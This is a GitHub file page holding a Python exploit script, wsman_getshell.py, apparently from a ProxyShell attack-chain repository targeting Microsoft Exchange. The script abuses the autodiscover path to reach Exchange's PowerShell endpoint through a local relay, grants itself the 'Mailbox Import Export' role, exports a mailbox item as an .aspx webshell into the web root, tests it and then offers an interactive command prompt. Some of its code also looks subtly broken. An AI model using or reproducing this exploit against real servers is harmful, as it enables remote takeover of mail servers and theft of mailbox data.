forked from FDlucifer/Proxy-Attackchain
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathwsman_getshell.py
153 lines (134 loc) · 5.16 KB
/
wsman_getshell.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
import random
import string
import requests
import re
import threading
import sys
import time
from pypsrp.wsman import WSMan
from pypsrp.powershell import PowerShell, RunspacePool
from http.server import HTTPServer, BaseHTTPRequestHandler
from socketserver import ThreadingMixIn
from functools import partial
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
from struct import *
class ThreadedHTTPServer(ThreadingMixIn, HTTPServer):
print("[+] Start wsman Server")
def rand_string(n=3):
return 'ed'.join(random.choices(string.ascii_lowercase, k=n))
def rand_port(n=4):
return ''.join(random.choices(string.digits, k=n))
p=int(rand_port())#start wsman random server port
class proxyshell:
def __init__(self, exchange_url, email, verify=False):
self.token
self.email = email
self.exchange_url = exchange_url if exchange_url.startswith('https://') else f'https://{exchange_url}'
self.rand_email = f'{rand_string()}@{rand_string()}.{rand_string(3)}'
self.admin_sid = None
self.legacydn = None
self.rand_subj = rand_string(16)
self.session = requests.Session()
self.session.verify = verify
def post(self,endpoint, data, headers={}):
print("sending wsman")
if 'powershell' in endpoint:
path = f"/autodiscover/[email protected]{endpoint}&Email=autodiscover/autodiscover.json%[email protected]"
else:
path = f"/autodiscover/[email protected]{endpoint}?&Email=autodiscover/autodiscover.json%[email protected]"
url = f'{self.exchange_url}{path}'
r=requests.Session()
r = r.post(
url=url,
data=data,
headers=headers,
verify=False
)
return r
class PwnServer(BaseHTTPRequestHandler):
def __init__(self, proxyshell, *args, **kwargs):
self.proxyshell = proxyshell
super().__init__(*args, **kwargs)
def do_POST(self):
# From: https://y4y.space/2021/08/12/my-steps-of-reproducing-proxyshell/
powershell_url = f'/powershell/?X-Rps-CAT={self.proxyshell.token}'
length = int(self.headers['content-length'])
content_type = self.headers['content-type']
post_data = self.rfile.read(length).decode()
post_data = re.sub('<wsa:To>(.*?)</wsa:To>', '<wsa:To>http://127.0.0.1:80/powershell</wsa:To>', post_data)
post_data = re.sub('<wsman:ResourceURI s:mustUnderstand="true">(.*?)</wsman:ResourceURI>', '<wsman:ResourceURI>http://schemas.microsoft.com/powershell/Microsoft.Exchange</wsman:ResourceURI>', post_data)
headers = {
'Content-Type': content_type
}
r = self.proxyshell.post(
proxyshell,
powershell_url,
post_data,
headers
)
resp = r.content
self.send_response(200)
self.end_headers()
self.wfile.write(resp)
def start_server(proxyshell, port):
handler = partial(PwnServer, proxyshell)
server = ThreadedHTTPServer(('', port), handler)
server_thread = threading.Thread(target=server.serve_forever)
server_thread.daemon = True
server_thread.start()
def shell(command, port):
# From: https://y4y.space/2021/08/12/my-steps-of-reproducing-proxyshell/
if command.lower() in ['exit', 'quit']:
exit()
wsman = WSMan("127.0.0.1", username='', password='', ssl=False, port=port, auth='basic', encryption='never')
with RunspacePool(wsman) as pool:
ps = PowerShell(pool)
ps.add_script(command)
output = ps.invoke()
print("OUTPUT:\n%s" % "\n".join([str(s) for s in output]))
print("ERROR:\n%s" % "\n".join([str(s) for s in ps.streams.error]))
def write_shell(url,user):
webshell_name=rand_string()+".aspx"
user1 = user.split('@')[0]
shell_path=f'\\\\127.0.0.1\\c$\\inetpub\\wwwroot\\aspnet_client\\{webshell_name}'
shell(f'New-ManagementRoleAssignment -Role "Mailbox Import Export" -User "{user1}"', p)## Add "Mailbox Import Export
time.sleep(3)
shell('Get-MailboxExportRequest -Status Completed | Remove-MailboxExportRequest -Confirm:$false', p) ## Remove-MailboxExportRequest clean Request
time.sleep(3)
shell(f'New-MailboxExportRequest -Mailbox {user} -IncludeFolders ("#Drafts#") -ContentFilter "(Subject -eq \'you are fucked\')" -ExcludeDumpster -FilePath "{shell_path}"', p)
url=url+"/aspnet_client/"+webshell_name+"?cmd=Response.Write('eeeeeeeeeeeeeeeeeeeelUc1f3r11')"
print("[+] Test shell.....")
time.sleep(3)
r=requests.get(url,verify=False,timeout=7)
if('eeeeeeeeeeeeeeeeeeeelUc1f3r11' in r.text):
print("[+] "+url+",shell is ok")
elif('system.web' in r.text):
print("[+] "+url+",shell write ok,But not Runing, Are you send webshell_mail?")
else:
print("[+] "+url+",shell write bad, maybe some antidefender on target!")
def start_cmdlet(url,token):
pshell=proxyshell
pshell.token=token
pshell.exchange_url=url
start_server(pshell, p)
if __name__ == '__main__':
if len(sys.argv) > 2:
url=sys.argv[1]
user=sys.argv[2]
token=sys.argv[3]
start_cmdlet(url,token)
try:
if sys.argv[4] == "shell":
write_shell(url,user)
except:
pass
else:
print("python https://xxx.com [email protected] <token value> shell")
exit()
try:
while True:
command=input("Cmdlet:")
shell(command,p)
except:
pass